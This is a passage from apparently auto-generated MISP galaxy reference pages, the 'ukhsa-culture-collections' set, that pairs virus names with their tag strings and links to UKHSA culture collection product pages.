https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-9
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-10
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-11
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-12
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-13
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-14
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-15
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-16
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-17
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-18
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-20

Thottopalayam virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Thottopalayam virus"*

Table 25679. Table References

Links
https://www.culturecollections.org.uk/nop/product/thottopalayam-virus

Getah virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Getah virus"*

Table 25680. Table References

Links
https://www.culturecollections.org.uk/nop/product/getah-virus

Arbia virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Arbia virus"*

Table 25681. Table References

Links
https://www.culturecollections.org.uk/nop/product/arbia-virus

Bunyamwera virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bunyamwera virus"*

Table 25682. Table References

Links
https://www.culturecollections.org.uk/nop/product/bunyamwera-virus

Rift Valley fever virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rift Valley fever virus"*

Table 25683. Table References

Links
https://www.culturecollections.org.uk/nop/product/rift-valley-fever-virus
https://www.culturecollections.org.uk/nop/product/rift-valley-fever-virus-2

Tahyna virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Tahyna virus"*

Table 25684. Table References

Links
https://www.culturecollections.org.uk/nop/product/tahyna-virus

Toscana virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Toscana virus"*

Table 25685. Table References

Links

https://www.culturecollections.org.uk/nop/product/toscana-virus

Human coronavirus 229E

The tag is: *misp-galaxy:ukhsa-culture-collections="Human coronavirus 229E"*

Table 25686. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-coronavirus-229e
https://www.culturecollections.org.uk/nop/product/human-coronavirus-229e-2

Dengue virus 3

The tag is: *misp-galaxy:ukhsa-culture-collections="Dengue virus 3"*

Table 25687. Table References

Links
https://www.culturecollections.org.uk/nop/product/dengue-virus-3-3
https://www.culturecollections.org.uk/nop/product/dengue-virus-3

Dengue virus 4

The tag is: *misp-galaxy:ukhsa-culture-collections="Dengue virus 4"*

Table 25688. Table References

Links
https://www.culturecollections.org.uk/nop/product/dengue-virus-4
https://www.culturecollections.org.uk/nop/product/dengue-virus-4-2
https://www.culturecollections.org.uk/nop/product/dengue-virus-4-3

Dengue virus 2

The tag is: *misp-galaxy:ukhsa-culture-collections="Dengue virus 2"*

Table 25689. Table References

Links
https://www.culturecollections.org.uk/nop/product/dengue-virus-2

Israel turkey meningoencephalomyelitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Israel turkey meningoencephalomyelitis virus"*

Table 25690. Table References

Links
https://www.culturecollections.org.uk/nop/product/israel-turkey-meningoencephalomyelitis-virus

Japanese encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Japanese encephalitis virus"*

Table 25691. Table References

Links
https://www.culturecollections.org.uk/nop/product/japanese-encephalitis-virus

Kadam virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Kadam virus"*

Table 25692. Table References

Links
https://www.culturecollections.org.uk/nop/product/kadam-virus

Murray Valley encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Murray Valley encephalitis virus"*

Table 25693. Table References

Links
https://www.culturecollections.org.uk/nop/product/murray-valley-encephalitis-virus

Saint Louis encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Saint Louis encephalitis virus"*

Table 25694. Table References

Links
https://www.culturecollections.org.uk/nop/product/saint-louis-encephalitis-virus

Tick-borne encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Tick-borne encephalitis virus"*

Table 25695. Table References

Links

https://www.culturecollections.org.uk/nop/product/tick-borne-encephalitis-virus-2

Usutu virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Usutu virus"*

Table 25696. Table References

Links
https://www.culturecollections.org.uk/nop/product/usutu-virus

West Nile virus

The tag is: *misp-galaxy:ukhsa-culture-collections="West Nile virus"*

Table 25697. Table References

Links
https://www.culturecollections.org.uk/nop/product/west-nile-virus-2
https://www.culturecollections.org.uk/nop/product/west-nile-virus-3
https://www.culturecollections.org.uk/nop/product/west-nile-virus-4
https://www.culturecollections.org.uk/nop/product/west-nile-virus-7

Human herpesvirus 5

The tag is: *misp-galaxy:ukhsa-culture-collections="Human herpesvirus 5"*

Table 25698. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-herpesvirus-5
https://www.culturecollections.org.uk/nop/product/human-herpesvirus-5-2
https://www.culturecollections.org.uk/nop/product/human-herpesvirus-5-4

Herpes simplex virus 2

The tag is: *misp-galaxy:ukhsa-culture-collections="Herpes simplex virus 2"*

Table 25699. Table References

Links
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-2
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-2-2
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-2-3

Human herpesvirus 6

The tag is: *misp-galaxy:ukhsa-culture-collections="Human herpesvirus 6"*

Table 25700. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-herpesvirus-6-2

Measles virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Measles virus"*

Table 25701. Table References

Links
https://www.culturecollections.org.uk/nop/product/measles-virus
https://www.culturecollections.org.uk/nop/product/measles-virus-2
https://www.culturecollections.org.uk/nop/product/measles-virus-3
https://www.culturecollections.org.uk/nop/product/measles-virus-4
https://www.culturecollections.org.uk/nop/product/measles-virus-5
https://www.culturecollections.org.uk/nop/product/measles-virus-6
https://www.culturecollections.org.uk/nop/product/measles-virus-7
https://www.culturecollections.org.uk/nop/product/measles-virus-8

Coxsackievirus A4

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A4"*

Table 25702. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a4-2

Coxsackievirus A9

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A9"*

Table 25703. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a9

Dengue virus 1

The tag is: *misp-galaxy:ukhsa-culture-collections="Dengue virus 1"*

Table 25704. Table References

Links
https://www.culturecollections.org.uk/nop/product/dengue-virus-1-4
https://www.culturecollections.org.uk/nop/product/dengue-virus-1-3
https://www.culturecollections.org.uk/nop/product/dengue-virus-1-2
https://www.culturecollections.org.uk/nop/product/dengue-virus-1

Feline calicivirus

The tag is: *misp-galaxy:ukhsa-culture-collections="Feline calicivirus"*

Table 25705. Table References

Links
https://www.culturecollections.org.uk/nop/product/feline-calicivirus

Tula virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Tula virus"*

Table 25706. Table References

Links
https://www.culturecollections.org.uk/nop/product/tula-virus

Seoul virus (579-8)

The tag is: *misp-galaxy:ukhsa-culture-collections="Seoul virus (579-8)"*

Table 25707. Table References

Links
https://www.culturecollections.org.uk/nop/product/seoul-virus-579-8

Sin Nombre virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Sin Nombre virus"*

Table 25708. Table References

Links

https://www.culturecollections.org.uk/nop/product/sin-nombre-virus

Seoul virus (R22)

The tag is: *misp-galaxy:ukhsa-culture-collections="Seoul virus (R22)"*

Table 25709. Table References

Links
https://www.culturecollections.org.uk/nop/product/seoul-virus-r22

Sandfly fever Sicilian virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Sandfly fever Sicilian virus"*

Table 25710. Table References

Links
https://www.culturecollections.org.uk/nop/product/sandfly-fever-sicilian-virus

Sandfly fever Naples virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Sandfly fever Naples virus"*

Table 25711. Table References

Links
https://www.culturecollections.org.uk/nop/product/sandfly-fever-naples-virus

Puumala virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Puumala virus"*

Table 25712. Table References

Links
https://www.culturecollections.org.uk/nop/product/puumala-virus

Ngari virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Ngari virus"*

Table 25713. Table References

Links
https://www.culturecollections.org.uk/nop/product/ngari-virus

La Crosse virus

The tag is: *misp-galaxy:ukhsa-culture-collections="La Crosse virus"*

Table 25714. Table References

Links
https://www.culturecollections.org.uk/nop/product/la-crosse-virus

Hazara virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Hazara virus"*

Table 25715. Table References

Links
https://www.culturecollections.org.uk/nop/product/hazara-virus

Hantaan virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Hantaan virus"*

Table 25716. Table References

Links
https://www.culturecollections.org.uk/nop/product/hantaan-virus

Human adenovirus 40

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 40"*

Table 25717. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-40

Human adenovirus 32

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 32"*

Table 25718. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-32

Human adenovirus 31

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 31"*

Table 25719. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-31

Human adenovirus 30

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 30"*

Table 25720. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-30

Human adenovirus 29

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 29"*

Table 25721. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-29

Human adenovirus 28

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 28"*

Table 25722. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-28

Human adenovirus 27

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 27"*

Table 25723. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-27

Human adenovirus 26

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 26"*

Table 25724. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-26

Human adenovirus 25

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 25"*

Table 25725. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-25

Human adenovirus 24

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 24"*

Table 25726. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-24

Coxsackievirus A10

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A10"*

Table 25727. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a10

Coxsackievirus A16

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A16"*

Table 25728. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a16
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a16-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a16-3

Coxsackievirus A21

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A21"*

Table 25729. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a21
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a21-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a21-3

Coxsackievirus A24

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus A24"*

Table 25730. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-a24

Coxsackievirus B1

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus B1"*

Table 25731. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b1
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b1-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b1-3

Coxsackievirus B2

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus B2"*

Table 25732. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b2-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b2-3
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b2-4
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b2-5

Coxsackievirus B3

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus B3"*

Table 25733. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b3
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b3-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b3-3
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b3-4

Coxsackievirus B4

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus B4"*

Table 25734. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b4
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b4-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b4-3
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b4-4

Coxsackievirus B5

The tag is: *misp-galaxy:ukhsa-culture-collections="Coxsackievirus B5"*

Table 25735. Table References

Links
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b5
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b5-2
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b5-3
https://www.culturecollections.org.uk/nop/product/coxsackievirus-b5-4

Echovirus 3

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 3"*

Table 25736. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-3

https://www.culturecollections.org.uk/nop/product/echovirus-3-2
https://www.culturecollections.org.uk/nop/product/echovirus-3-3

Echovirus 4

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 4"*

Table 25737. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-4

Echovirus 6

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 6"*

Table 25738. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-6
https://www.culturecollections.org.uk/nop/product/echovirus-6-3
https://www.culturecollections.org.uk/nop/product/echovirus-6-4

Echovirus 7

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 7"*

Table 25739. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-7
https://www.culturecollections.org.uk/nop/product/echovirus-7-2
https://www.culturecollections.org.uk/nop/product/echovirus-7-3

Echovirus 9

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 9"*

Table 25740. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-9
https://www.culturecollections.org.uk/nop/product/echovirus-9-2
https://www.culturecollections.org.uk/nop/product/echovirus-9-3

Echovirus 11

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 11"*

Table 25741. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-11
https://www.culturecollections.org.uk/nop/product/echovirus-11-2
https://www.culturecollections.org.uk/nop/product/echovirus-11-3
https://www.culturecollections.org.uk/nop/product/echovirus-11-4

Echovirus 13

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 13"*

Table 25742. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-13
https://www.culturecollections.org.uk/nop/product/echovirus-13-2
https://www.culturecollections.org.uk/nop/product/echovirus-13-3
https://www.culturecollections.org.uk/nop/product/echovirus-13-4

Echovirus 16

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 16"*

Table 25743. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-16

Echovirus 18

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 18"*

Table 25744. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-18
https://www.culturecollections.org.uk/nop/product/echovirus-18-2
https://www.culturecollections.org.uk/nop/product/echovirus-18-3

Echovirus 14

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 14"*

Table 25745. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-14

Echovirus 25

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 25"*

Table 25746. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-25

Echovirus 30

The tag is: *misp-galaxy:ukhsa-culture-collections="Echovirus 30"*

Table 25747. Table References

Links
https://www.culturecollections.org.uk/nop/product/echovirus-30

Enterovirus 71

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterovirus 71"*

Table 25748. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterovirus-71
https://www.culturecollections.org.uk/nop/product/enterovirus-71-2
https://www.culturecollections.org.uk/nop/product/enterovirus-71-4
https://www.culturecollections.org.uk/nop/product/enterovirus-71-5

Human rhinovirus A1B

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A1B"*

Table 25749. Table References

Links

https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a1b

Human rhinovirus A1B (+ss RNA (IV))

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A1B (+ss RNA (IV))"*

Table 25750. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a1b-ss-rna-iv

Human rhinovirus A2

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A2"*

Table 25751. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a2
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a2-2
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a2-3

Human rhinovirus B5

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B5"*

Table 25752. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b5
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b5-2

Human rhinovirus A7

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A7"*

Table 25753. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a7

Human rhinovirus A8

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A8"*

Table 25754. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a8
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a8-2

Human rhinovirus A9

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A9"*

Table 25755. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a9
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a9-2
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a9-3
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a9-4
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a9-5

Human rhinovirus A10

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A10"*

Table 25756. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a10
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a10-2

Human rhinovirus A11

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A11"*

Table 25757. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a11
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a11-2

Human rhinovirus B14

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B14"*

Table 25758. Table References

Links

https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b14-2

Human rhinovirus A16

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A16"*

Table 25759. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a16

Human rhinovirus B17

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B17"*

Table 25760. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b17
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b17-2

Human rhinovirus A18

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A18"*

Table 25761. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a18

Human rhinovirus A19

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A19"*

Table 25762. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a19

Human rhinovirus A20

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A20"*

Table 25763. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a20

Human rhinovirus A23

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A23"*

Table 25764. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a23

Human rhinovirus A24

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A24"*

Table 25765. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a24
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a24-2

Human rhinovirus A25

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A25"*

Table 25766. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a25

Human rhinovirus A28

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A28"*

Table 25767. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a28

Human rhinovirus A31

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A31"*

Table 25768. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a31

Human rhinovirus A40

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A40"*

Table 25769. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a40

Human rhinovirus A41

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A41"*

Table 25770. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a41

Human rhinovirus B42

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B42"*

Table 25771. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b42

Human rhinovirus A44

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A44"*

Table 25772. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a44

Human rhinovirus A46

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A46"*

Table 25773. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a46

Human rhinovirus A47

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A47"*

Table 25774. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a47

Human rhinovirus B48

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B48"*

Table 25775. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b48

Human rhinovirus A49

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A49"*

Table 25776. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a49
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a49-2
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a49-3

Human rhinovirus A51

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A51"*

Table 25777. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a51

Human rhinovirus A55

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A55"*

Table 25778. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a55

Human rhinovirus A56

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A56"*

Table 25779. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a56

Human rhinovirus A63

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A63"*

Table 25780. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a63

Human rhinovirus B70

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B70"*

Table 25781. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b70-2

Human rhinovirus A73

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A73"*

Table 25782. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a73
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a73-2

Human rhinovirus A75

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A75"*

Table 25783. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a75

Human rhinovirus A80

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A80"*

Table 25784. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a80

Human rhinovirus A81

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A81"*

Table 25785. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a81
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a81-2

Human rhinovirus B83

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus B83"*

Table 25786. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-b83

Human rhinovirus A85

The tag is: *misp-galaxy:ukhsa-culture-collections="Human rhinovirus A85"*

Table 25787. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-rhinovirus-a85

Human adenovirus 21

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 21"*

Table 25788. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-21

Human adenovirus 20

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 20"*

Table 25789. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-20

Chandipura virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Chandipura virus"*

Table 25790. Table References

Links
https://www.culturecollections.org.uk/nop/product/chandipura-virus

Vesicular stomatitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vesicular stomatitis virus"*

Table 25791. Table References

Links
https://www.culturecollections.org.uk/nop/product/vesicular-stomatitis-virus

Rotavirus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rotavirus"*

Table 25792. Table References

Links
https://www.culturecollections.org.uk/nop/product/rotavirus
https://www.culturecollections.org.uk/nop/product/rotavirus-3
https://www.culturecollections.org.uk/nop/product/rotavirus-6

Chikungunya virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Chikungunya virus"*

Table 25793. Table References

Links
https://www.culturecollections.org.uk/nop/product/chikungunya-virus-2

https://www.culturecollections.org.uk/nop/product/chikungunya-virus-3
https://www.culturecollections.org.uk/nop/product/chikungunya-virus-4

Eastern equine encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Eastern equine encephalitis virus"*

Table 25794. Table References

Links
https://www.culturecollections.org.uk/nop/product/eastern-equine-encephalitis-virus

Mayaro virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mayaro virus"*

Table 25795. Table References

Links
https://www.culturecollections.org.uk/nop/product/mayaro-virus

O’nyong-nyong virus

The tag is: *misp-galaxy:ukhsa-culture-collections="O’nyong-nyong virus"*

Table 25796. Table References

Links
https://www.culturecollections.org.uk/nop/product/onyong-nyong-virus

Ross River virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Ross River virus"*

Table 25797. Table References

Links
https://www.culturecollections.org.uk/nop/product/ross-river-virus

Rubella virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rubella virus"*

Table 25798. Table References

Links
https://www.culturecollections.org.uk/nop/product/rubella-virus

https://www.culturecollections.org.uk/nop/product/rubella-virus-2
https://www.culturecollections.org.uk/nop/product/rubella-virus-3

Sindbis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Sindbis virus"*

Table 25799. Table References

Links
https://www.culturecollections.org.uk/nop/product/sindbis-virus

Venezuelan equine encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Venezuelan equine encephalitis virus"*

Table 25800. Table References

Links
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-2
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-3
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-4
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-5
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-6
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-7
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-8
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-9
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-10
https://www.culturecollections.org.uk/nop/product/venezuelan-equine-encephalitis-virus-11

Western equine encephalitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Western equine encephalitis virus"*

Table 25801. Table References

Links
https://www.culturecollections.org.uk/nop/product/western-equine-encephalitis-virus
https://www.culturecollections.org.uk/nop/product/western-equine-encephalitis-virus-2

Human adenovirus 17

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 17"*

Table 25802. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-17

Human adenovirus 15

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 15"*

Table 25803. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-15

Human adenovirus 14

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 14"*

Table 25804. Table References

Links
